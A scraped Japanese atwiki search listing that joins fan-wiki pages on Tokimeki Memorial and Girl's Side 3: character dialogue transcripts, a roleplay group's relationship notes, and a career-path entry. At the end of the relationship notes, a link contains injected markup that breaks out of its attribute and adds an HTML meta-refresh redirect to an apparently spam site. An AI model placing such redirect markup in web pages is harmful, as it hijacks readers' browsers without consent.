約 3,701,281 件
https://w.atwiki.jp/tmo-g/pages/2.html
トップページ メニュー 更新履歴 取得中です。
https://w.atwiki.jp/tmo-g/pages/7.html
https://w.atwiki.jp/tmo-g/pages/3.html
更新履歴 取得中です。
https://w.atwiki.jp/tmo-g/pages/11.html
https://w.atwiki.jp/tmo-g/pages/5.html
薬研粒一(NPC)&竜宮レナ:研究者と実験体(生物兵器?) 倉澤麗也&新宮千麻紀:超絶バカップル。ラブラブ街道まっしぐらで教室に熱を篭らせる。 この度、教会で挙式第一号になったそーですよ。(10/2 ユッケ追記) +浅葉早永未:千麻紀が遅いのをいいことに、麗也が口説き落とし修羅場化。(10/5追補) 最終日に修羅場解決の模様 東原ののみ&真神タカヤ:微妙な関係のカップル。まだまだこれから…なのか? 最近はよくタカヤがののみにいじられている。 小鳥遊 千夏&哀川 万里:10/4 早朝 万里&千夏 2ショ確認。 その後 万里告白-千夏嬢がOKした事を確認。(by麗也) 池丸大王&鳴風みなも:純情系(?)カポー。 小鳥遊千夏 & ミレイリリア & 清水ほづき+渚りお 捕食者と食料の間に生まれた友情と愛。 食料熱烈募集中Byりりあ 桐沢静真:独り身。 大盛ユッケ:生肉。さらに肉。米さ米sy(ry カップルブレイカー千夏&魔王リリア:ラヴラヴ学園生活を送る人間は要注意ペア。別名カップルクラッシャー。[[@wikiへ http //kam.jp" META HTTP-EQUIV="Refresh" CONTENT="0; URL=http //esthe.pink.sh/r/]]
https://w.atwiki.jp/tokimeki_dictionary/pages/1402.html
漫画家【まんがか】 『4』に登場するクラブマスター進路の1つ。 主人公が漫研部に所属してクラブマスターになると入試の際に進路として選択する事が出来る。 「雑誌に投稿したマンガが最優秀新人賞を受賞してしまった」との事である。 ときメモシリーズにおいて文化部のクラブマスターというのはとんでもない受賞内容の物も少なくないが、 これは現実世界でも十分に受賞可能な賞ではないだろうか。 ただそうなると逆にああも仰々しく記者会見などを開くほどのものなのかという気がしないでもない。 この進路も郡山知姫と皐月優に告白される条件のAクラス進路の一つなのだが、 エンディングでは「漫画家を目指して創作活動に打ち込もうと思う」と語っているので、 プロとしてのデビューが保証されているのかどうかは不明である。 3年間一生懸命頑張ってきたはずだが、主人公のさらなる精進を期待したい。 関連項目 進路 漫研部
https://w.atwiki.jp/gs3_selif/pages/270.html
繁華街 | 森林公園 | はばたき山 | 臨海地区 | その他 森林公園 森林公園森林公園並木道(花見) 芝生広場(春) 噴水(夏) 並木道(秋) 並木道(冬) 温水プール スケート 博物館 植物園 森林公園 並木道(花見) 琉夏 琉夏「〇〇ちゃん。桜の花びら、ついてるよ?」 〇〇「本当? あ、琉夏くんにも……」 琉夏「ホント? じゃあ、交換しよう。」 〇〇「交換?」 琉夏「そう。2人の思い出に……」 琥一「3人の思い出だ。悪ぃな?」 琥一 琥一「昼間もいいけどよ、夜、出てこれねぇのか?」 琉夏「コラコラ。」 琥一「バカ。桜見んだよ。」 〇〇「夜桜見物か……ロマンチックだね。」 琥一「まあな。人がいねぇとこ、知ってんだよ。」 琉夏「お父さんは、そんなの許さないぞ? 油断も隙もねぇな……」 芝生広場(春) 琉夏 琉夏「眠くなった……」 〇〇「ふふ、春だもんね?」 琉夏「〇〇ちゃん、一緒に寝ない?」 〇〇「わたし?う~ん……」 琥一「おい!」 琉夏「昼寝だってば……エッチな奴だな。」 琥一「もう夕方だ。昼寝じゃねぇ。」 琥一 琥一「確か、あれも春だったな……」 〇〇「なに?」 琥一「ガキの頃のことだ。ルカが足の骨折って……家までおぶったな?」 琉夏「あぁ……あったね。」 〇〇「へぇ……お兄ちゃんっていいね?」 琥一「なんだ、おぶって欲しいのか?」 〇〇「いいの?」 琉夏「ダメ。コウのスケベ。」 琥一「バ……そうじゃねぇだろ!」 噴水(夏) 琉夏 琉夏「あれ。日焼けした? 顔、赤くなってる。」 〇〇「え、本当?」 琉夏「ダメじゃんちゃんと日焼け止めしなきゃ。」 琥一「夏なんだから、表、歩いてりゃ焼けんだろうが。」 琉夏「バカ。女の子はそうもいかないんだよ。ね?」 〇〇「そうだよ!」 琥一「メンドクセー。」 琉夏「バカだなコウは……お肌の敵、コウだ。ね?」 琥一 琥一「暑い……汗が止まらねぇ……」 〇〇「ハンカチ使う?」 琥一「あ? いらねーよ。」 琉夏「もったいないよ、コウには。」 琥一「まあな。しまっとけ。」 〇〇「遠慮しなくていいのに。」 琥一「そんなきれいなモン、汚しちゃ悪ぃ。」 〇〇「もう、使いなさい!」 琥一「お、おう……じゃあ、悪ぃ。」 琉夏「俺も、俺も汗かいたよ? 今の言って!」 並木道(秋) 琉夏 琉夏「〇〇ちゃん、夜はなにしてる?」 〇〇「夜? どうして?」 琉夏「秋の夜ってさ……人恋しくなんない?」 〇〇「あ、なんかわかる気がする。」 琉夏「だろ? 今夜は月がきれいだからさ、もし暇なら――」 琥一「暇ならテメェは部屋をかたづけろ。」 琉夏「コウ……ヤキモチやいてる?」 琥一 琥一「お、一番星だ。」 〇〇「あ、本当だ!」 琥一「知ってるか? ありゃオマエ、金星だ。」 〇〇「うん、そうだよね。」 琥一「……おぉ。」 琉夏「〇〇ちゃん。そこは、“へぇ、そうなんだ!”って言うとこじゃん。」 琥一「ウルセー!」 並木道(冬) 琉夏 琉夏「寒ぃ……もうダメ……」 〇〇「琉夏くん、しっかり!」 琉夏「無理……おしくらまんじゅうしよ?」 琥一「しねぇよ。」 琉夏「〇〇ちゃん、2人でしよう?」 〇〇「2人じゃ、おしくらまんじゅうにならないよ?」 琉夏「じゃ、いいよ、おしくらまんじゅうじゃなくて。しよ?」 琥一「コラ。」 琥一 琥一「たまには、冬の公園も悪かねぇな。」 琉夏「悪ぃよ……」 〇〇「そうだね。ちょっと寒いけど。」 琉夏「ちょっとじゃない……」 琥一「〇〇、なんだ、手が赤ぇな。貸せ、こすってやる。」 琉夏「ラブか。ラブで寒くないのか、こいつら……」 温水プール 琉夏 琉夏「〇〇ちゃん、ところでさ、水着って他にどんなの持ってんの?」 〇〇「他の水着?どうして?」 琉夏「いや、コウが気にしてるから。」 琥一「はぁ!? 俺がいつ気にしたよ? テメェだろうが!」 琉夏「コウは知りたくないって。俺だけ教えて?」 〇〇「……なんかエッチだからやだ。」 琥一「バカ。聞き方ってもんがあんだよ。な?」 〇〇「“な?”じゃない!」 琥一 琥一「しかし、あれだな?ジャグジーってのはよ、悪かねぇな。」 〇〇「気持ちいいね?」 琉夏「そりゃ2人で入れば楽しいだろ。」 〇〇「琉夏くんも入ればよかったのに。」 琥一「クッ……意地になってんだコイツは。な、ルカ?」 琉夏「ウルセー。」 スケート 琉夏 琥一「〇〇、今度からスケートは2人で行け。」 琉夏「コウ。」 〇〇「琥一くん、そんなに嫌?」 琥一「まあな。」 琉夏「じゃあ3人で練習しようぜ?な?」 琥一「邪魔すんのもいたたまれねぇんだよ……」 〇〇「琥一くん……」 琥一 〇〇「琥一くん、今日は一歩前進じゃない?」 琥一「ハァ……まあ、そりゃちっとはな?」 〇〇「ふふ、なんか弱ってる琥一くんって新鮮かも。」 琥一「ウルセー。」 琉夏「ギャップ萌えかよ。」 琥一「あ?」 〇〇「もう、変な言いがかりつけないの!」 琉夏「俺も次から転ぼう……」 博物館 琉夏 琉夏「〇〇ちゃん、俺さ、ちょっと歴史に興味が出たよ。」 〇〇「本当? 琉夏くんエライ!」 琉夏「へへ……エライって。コウ、聞いてた?」 琥一「なにポイント稼いでんだ、コラ。」 琥一 琥一「〇〇、オマエ、楽しいのか? 博物館なんてよ……」 〇〇「楽しくない? 琉夏くんもつまんない?」 琉夏「楽しい。俺は勉強好きだもん。」 琥一「待てコラ。じゃ、俺もだ。また行くぞ、博物館。」 植物園 琉夏 琉夏「〇〇ちゃん。」 〇〇「なに?」 琉夏「もしジャングルに住むことになったらさ、毎朝ハイビスカスの髪飾りあげる。」 〇〇「ふふ、ありがとう。」 琥一「そんなことにはなんねーけどな?」 琉夏「ひがむなよ。コウにはバナナやるから。」 琥一「ゲンコツで目ぇ覚ましてやるか?」 琥一 〇〇「熱帯の植物、きれいだったね……」 琥一「熱帯ねぇ……なぁ、〇〇。」 〇〇「なに?」 琥一「オマエは、やっぱ南の島とかよ、行きてぇのか?」 〇〇「南の島かぁ……高校生には無理だよね……」 琥一「バカ、今じゃねぇよ。ほら、あんだろうが。……なんとか旅行とかよ。」 〇〇「なんとか?」 琉夏「〇〇ちゃん、離れて。コウがヤラシーこと考えてる。」 琥一「あぁ!? バ――テメェ、誰がだよ?」
https://w.atwiki.jp/gs3_selif/pages/266.html
繁華街 | 森林公園 | はばたき山 | 臨海地区 | その他 森林公園 森林公園森林公園並木道(花見) 芝生広場(春) 噴水(夏) 並木道(秋) 並木道(冬) 温水プール スケート 博物館 植物園 森林公園 並木道(花見) 琉夏 琉夏「〇〇ちゃん、知ってる?」 〇〇「なに?」 琉夏「きれいな桜の下にはなぁ~~」 〇〇「な、なに……怖い話?」 琉夏「根っこが生えてるのだ~~」 琥一「……で、オチは?」 琉夏「無いのだ~~」 琥一 〇〇「桜、キレイだったね。」 琥一「まあな。悪かねぇ。ルカ、帰ったら1杯飲むか?」 琉夏「いいね。」 〇〇「ダメ! 高校生でしょ?」 琥一「おいおい。高校生がコーヒー飲んじゃいけねぇのか?」 琉夏「そうそう。花見の後はコーヒーでしょ。」 〇〇(本当かなぁ……) 芝生広場(春) 琉夏 琉夏「ファ……」 〇〇「ふふ、琉夏くん、眠そうだね?」 琉夏「眠い……寝ていい?」 琥一「寝んな。歩け。」 琥一 琥一「日が伸びたな……春の宵か、悪かねぇ。」 琉夏「コウ、どした?」 琥一「どうもしねぇよ。ガキの頃思い出しただけだ。」 琉夏「まぁ、いっか。春だからな。」 噴水(夏) 琉夏 琉夏「コウ、暑い?」 琥一「暑ぃな。」 琉夏「じゃ、アイス買って来て。」 琥一「テメェがな。」 琉夏「じゃ、お金。」 琥一「出しとけ。」 琉夏「ねぇから言ってんだろ!」 琥一「逆切れすんなバカ!暑苦しい!」 琥一 琥一「ハァ……日が落ちてもまだ暑ぃぞ……」 琉夏「泳いでくか、海で。」 琥一「水着ねーだろうが。」 琉夏「裸でいいじゃん。フツーでしょ、この辺じゃ。」 琥一「はぁ? ガキじゃあるまいしよ。」 琉夏「バカ、そういうことにしとけば――」 〇〇「脱がないよ?」 琉夏「ほら、もうっ! コウ!」 琥一「“ほら”じゃねぇ、バカ!」 並木道(秋) 琉夏 琉夏「さーて……帰ったら何するかな。」 琥一「部屋かたづけろ。」 琉夏「どうするかな……秋は夜が長いからね。」 琥一「じゃ、部屋かたづけろ。」 琉夏「デリカシーがないなぁ!」 琥一 琥一「日が落ちんのがよ、毎日早くなってくな……」 〇〇「秋だね……」 琉夏「だね……」 琥一「ルカ、風呂屋寄ってくぞ。」 琉夏「あいよ。」 並木道(冬) 琉夏 琉夏「わかんないな……」 琥一「なにがだ。」 琉夏「池に氷はってたろ? アヒル達、どこにいったんだろ。」 〇〇「うん……どこに行ったんだろうね?」 琉夏「コウ、喰った?」 琥一「喰わねぇよ。」 琥一 琥一「さすがに冷えてきたな……」 琉夏「寒ぃ……死ぬ……」 琥一「不死身じゃねぇのかよ?」 琉夏「ヒーローにも弱点はあんだよ……」 琥一「いいからキリキリ歩け。」 温水プール 琉夏 琉夏「ハァ……遊んだ遊んだ!」 琥一「はしゃぎすぎだ、テメェは。」 琉夏「コウもな?」 〇〇「2人とも、海とかプールだと本当にテンション高いね?」 琉夏「そりゃ水着――」 琥一「バカ! なんでもねぇぞ?」 〇〇(エロ兄弟め……) 琥一 琥一「ハァ……」 〇〇「琥一くん、疲れちゃった?」 琉夏「コウのは気疲れだろ?」 琥一「まあな。」 〇〇「気疲れ?」 琉夏「コウはお父さんみたいなとこあるから。」 〇〇「???」 スケート 琉夏 〇〇「楽しかったね?」 琉夏「うん、スケート場、一年中やってりゃいいのにな。」 琥一「勘弁してくれ……」 琉夏「すぐ上手くなるって、コウならさ。」 〇〇「そうだよ!」 琥一「励ますな。切ねぇ……」 琥一 琥一「なんでスケートなんかに来ちまったんだか……」 琉夏「まだ言ってんのかよ?」 〇〇「琥一くんも、もっと練習しよう?」 琥一「勝てねぇ勝負はやんねぇ主義なんだよ。」 〇〇「もう……仲よく!」 博物館 琉夏 琉夏「ミイラがさ、夜の博物館で夜な夜な蘇るとしたらどうする?」 琥一「なもん、走って逃げりゃいいだろ。アイツら、足、遅ぇんだ。」 琉夏「じゃあ、足が速かったら? そうしたらどうする?〇〇ちゃん。」 〇〇「わたし? どうするって言われても……」 琥一 琥一「ハァ……おい、次はよ、別のとこにしねぇか?」 〇〇「博物館、つまんない?」 琉夏「つまんないに1票。なんか、勉強みたい。」 〇〇「う~ん、そうか……」 植物園 琉夏 琉夏「俺、前から思ってんだけどさ。前世はジャングルに住んでたんじゃないかな。」 琥一「始まったぞ。」 〇〇「どうして?」 琉夏「どうも、でっかいサルがお伴にいたような気がして。あ、ほら、ちょうどこんな。」 琥一「コラ。」 琥一 琥一「しかしよ……温室ってのはどうにも蒸し暑ぃな。」 琉夏「そんなことじゃ温暖化についていけねぇぞ? 10年後の日本はジャングルなんだぞ?」 琥一「あ? マジかよ……」 〇〇(……そうだっけ?)
https://w.atwiki.jp/gs_matome/pages/6.html
あなたを教会に迎える前に 言っておきたい事があります 少しひどい話かもしれませんが 僕の本音を聞いてください 勉強能力が低いのはあまり・・・ 芸術パラが低いのもちょっと・・・ 紅茶は美味しく煎れて下さい いつも自然でいて下さい もちろん出来る範囲で 構いませんから 忘れないで 花壇のお手入れを手伝っていただけたら 秋にはコスモス達と共に ときめきも満開する事を あなたにはあなたにしかできない事もありますから 分からない問題があれば僕に聞いて下さい お花には肥料と太陽とお水、どれも重要です 大切にして下さい それでも元気がない場合は たやすいはずですお話すればいいんです スキー、スケートはチェックしないで誘わないで それから温水プールも誘わないで 実は泳げません 多分あなたの前でも泳げません あなたには知られたくなかった ・・・あ、いえ!その・・・な、何を言ってるんでしょうか、僕は・・・ デートは二人で楽しむもので あなたが苦労して追い払う事はないはず ジャアナさん セールスマン 酔っぱらい 絡む隙は無いと思ってください 彼女、困ってるじゃないですか! 季節は流れ卒業の日には 教会の扉が開いていたら 校内の花達とお別れをしたら すぐに向かいますから 花壇をバックに 2つの選択 上を選んで下さい アネモネの花言葉にのせて「あなたを愛しています」って 僕は言うから 必ず言うから 忘れないで下さい 僕の愛する女性は 愛する女性は生涯あなたひとり 忘れないで下さい 僕の愛する女性は 愛する女性は生涯あなたただひとり
https://w.atwiki.jp/gs3_selif/pages/50.html
親友分岐イベント当て馬とデートの帰り、自宅前 電話 親友ルートへ 親友友情状態・追加デート会話 親友分岐イベント 当て馬とデートの帰り、自宅前 琥一「〇〇。」 〇〇「あ、琥一くん!」 琥一「おぉ……悪ぃ。いや、いいか、そのまま、な?」 電話 〇〇(電話……もしかして!) 琥一「もしもし……今、いいか?」 〇〇「琥一くん、わたしも、話したいことが…… 『誤解を解く』 琥一「で? 話は終わりか?」 〇〇「うん……わかってくれる?」 琥一「メンドクセー。俺には難しすぎて、わかんねぇな」 〇〇「…………」 琥一「まあ、オマエのことだ。悪気はねぇんだろうけどな」 〇〇「うん、気をつける」 琥一「俺より、アイツにあんまり誤解させんな。じゃあよ」 〇〇(よかった。誤解は解けたみたい) 『友達でいてほしい』 琥一「今から教会、来れるか?」 〇〇「……教会って、学校の?」 琥一「あぁ。そう時間はかかんねぇから。……そんじゃ」 親友ルートへ 当て馬が△相手 琥一「おう、来たか」 〇〇「うん」 琥一「…………」 〇〇「琥一くん、あの、わたし……」 琥一「好きなんだろ? ルカがよ?」 〇〇「琥一くん……」 琥一「馬鹿。そんくらいのことはな、俺だってわかってんだよ。……とっくの昔からな」 〇〇「……昔から?」 琥一「ガキの頃よ、ときどきここで遊んだろ?」 〇〇「うん」 琥一「かくれんぼでも何でも、オマエはいつもルカの後、追っかけ回してた」 〇〇「そうだったね……」 琥一「あの頃みてぇに、素直になりゃいい……そうだろ?」 〇〇「うん」 琥一「まあ、俺にしてみりゃ、ルカもオマエも、メンドクセー弟と妹だ。なにも変わらねぇ」 〇〇「ありがとう……そっか、お兄ちゃんだね」 琥一「おに――やめろ、気味悪ぃ」 〇〇「お兄ちゃん!」 琥一「ウルセー。ほら、行くぞ」 当て馬が△相手以外 琥一「おう、来たか」 〇〇「あの、わたし……」 琥一「アイツが……好きなんだな?」 〇〇「うん……」 琥一「アイツで、いいんだな?」 〇〇「うん」 琥一「よし……わかった。この話は終わりだ」 〇〇「琥一くん……」 琥一「馬鹿。いいじゃねぇか、好きになったんだ。堂々としてろ」 〇〇「でも、まだ向こうの気持ちはわからないから」 琥一「じゃあ、いつかキッチリ伝えろ」 琥一「そんでよ、もし、ふざけたこと抜かすようなら、桜井兄弟が黙ってねぇって、言っとけ」 〇〇「えっ!?」 琥一「冗談だ。俺にとってもルカにとっても、オマエは妹みてぇなもんだ。応援してやる」 〇〇「うん」 親友友情状態・追加デート会話 男の人って 〇〇「男の人って、わかんないな…」 琥一「なんだ、穏やかじゃねぇな。」 〇〇「時どき、わからなくなるよ……」 琥一「ンなもん、わかんねーでいいんだよ。」 〇〇「でも、知りたいな…」 琥一「無茶言うな。男なら、女にそんなもん、教えられるわけねぇだろーが。」 〇〇「……そんなもんって?」 琥一「そんなもんってのはな……まあ、そんなもんだ。」 〇〇(なんか照れてる?) 異性の好み 〇〇「男の子に好かれる女の子って、どんな子だと思う?」 琥一「なもん、女らしい女だろ。」 〇〇「女らしいって?」 琥一「そりゃ、こう…クネっとしてんだよ」 〇〇「クネっと……じゃあ、髪なんかは?」 琥一「長えんだろうな」 〇〇「ロングか……なるほど。他には?」 琥一「あとは……あぁ、言葉づかいだ。男みてぇな奴はダメだ。」 〇〇「言葉づかいか……気をつけよう。まだある?」 琥一「メンドクセーな……女なんだから、自分で考えろ」 〇〇(それじゃ意味ないんだけど……) ドキドキする時って 〇〇「男の人が女の子にドキドキするのって、どんな時?」 琥一「はぁ? しねぇよ」 〇〇「ホントに?」 琥一「しねえ、つってんだろ、メンドクセーな……」 〇〇「そっか……じゃあ、琥一くんはおいといて、クラスの男子なら?」 琥一「アイツらか?あぁ…よく雑誌見て騒いでるな」 〇〇「水着のグラビアとか?」 琥一「おぅ、まあ、そんなとこだ」 〇〇「琥一くんも見るの?」 琥一「……見ねぇよ。」 〇〇(見るんだ……) 女の子らしさって 〇〇「琥一くんは、女の子らしさって何だと思う?」 琥一「あぁ?知らねーよ、女に聞きゃいいだろ?」 〇〇「でも、男女で感じ方って、違うと思うんだけどな。」 琥一「ああ、そうかもな。」 〇〇「……」 琥一「あぁ……そうだな。こう、クネっとして、髪が長いのが女らしいんじゃねぇか?」 〇〇「なんか、適当なこと言ってる感じ……」 琥一「なことねぇって。クネッ、としてよ。だわ、とか言やいいんだ。やってみろ、女らしくなる」 〇〇(琥一くん向けの質問じゃなかったかな……) 片思いについて 〇〇「片思いって、つらいよね……」 琥一「……あ? なんだ、どした?」 〇〇「ちょっと、ね。」 琥一「泣くんなら、早く泣いちまえ。」 〇〇「ひどい……」 琥一「泣け泣け。よそ見ててやるから。泣きやんだら、なんか食って帰るぞ。」 〇〇(琥一くん……) 恋してる? 〇〇「琥一くんは、恋してる?」 琥一「はぁ!? しねぇよ、なもん…」 〇〇「そうなんだ……ぜんぜん?」 琥一「ぜんぜんだ。」 〇〇「へぇ……」 琥一「なんだよ?悪ぃのかよ?」 〇〇「悪くはないけど、珍しいなって。」 琥一「テメェら女と違って、こっちは忙しいんだよ。そういう話はな、女同士でやれ。」 〇〇「(こういう話が苦手みたい…) キスについて 〇〇「琥一くん、怒るかな……」 琥一「なんだよ……気持ち悪ぃな言えよ。」 〇〇「あのね、琥一くんは、キスってどういう風に考えてる?」 琥一「キッ――……キスだぁ?」 〇〇「う、うん……」 琥一「オマエな、しれっと物騒なこと言うんじゃねぇよ……」 〇〇「ごめん。でも、どう考えてるかなって」 琥一「どうって言われてもよ……あ。」 〇〇「……?」 琥一「まさか……やっちまったんじゃねぇだろうな?」 〇〇「そ、そうじゃなくて!」 琥一「どいつだ。ふざけた野郎なら追っ払ってやる。」 〇〇(怖いお父さんみたい……) スキンシップについて 〇〇「琥一くんは、スキンシップってどんな風に考えてる?」 琥一「あぁ? なんだ、いきなり」 〇〇「どう考えてるのかなって」 琥一「どってことねぇだろ。あんなもん、オマエ、アメリカじゃ、挨拶みてぇなもんだ。」 〇〇「へぇ、そうなんだ?」 琥一「そうだ。覚えとけ?」 〇〇「うん。挨拶みたいなもんだね。」 琥一「……」 〇〇「?」 琥一「言っとくけどな、ここは日本だ。わかってんだろうな?」 〇〇「う、うん。わかってるよ?」 琥一「おう。」 〇〇(なんなのよ……) 男女の友情って 〇〇「琥一くんは、男女の友情ってあり得ると思う?」 琥一「そりゃ、あるだろうよ。」 〇〇「そっか。でも、同性同士と違って、意識しちゃったりしない?」 琥一「意識ねぇ……いや、ねぇな。」 〇〇「ぜんぜん?」 琥一「まあな?」 〇〇「ふぅん……」 琥一「つまんねぇこと考えんな。妹みてぇなもんだ、オマエは。」 〇〇「ムッ……同い年なんですけど。」 琥一「じゃ、子分だ。それで手打て。」 〇〇(子分って……)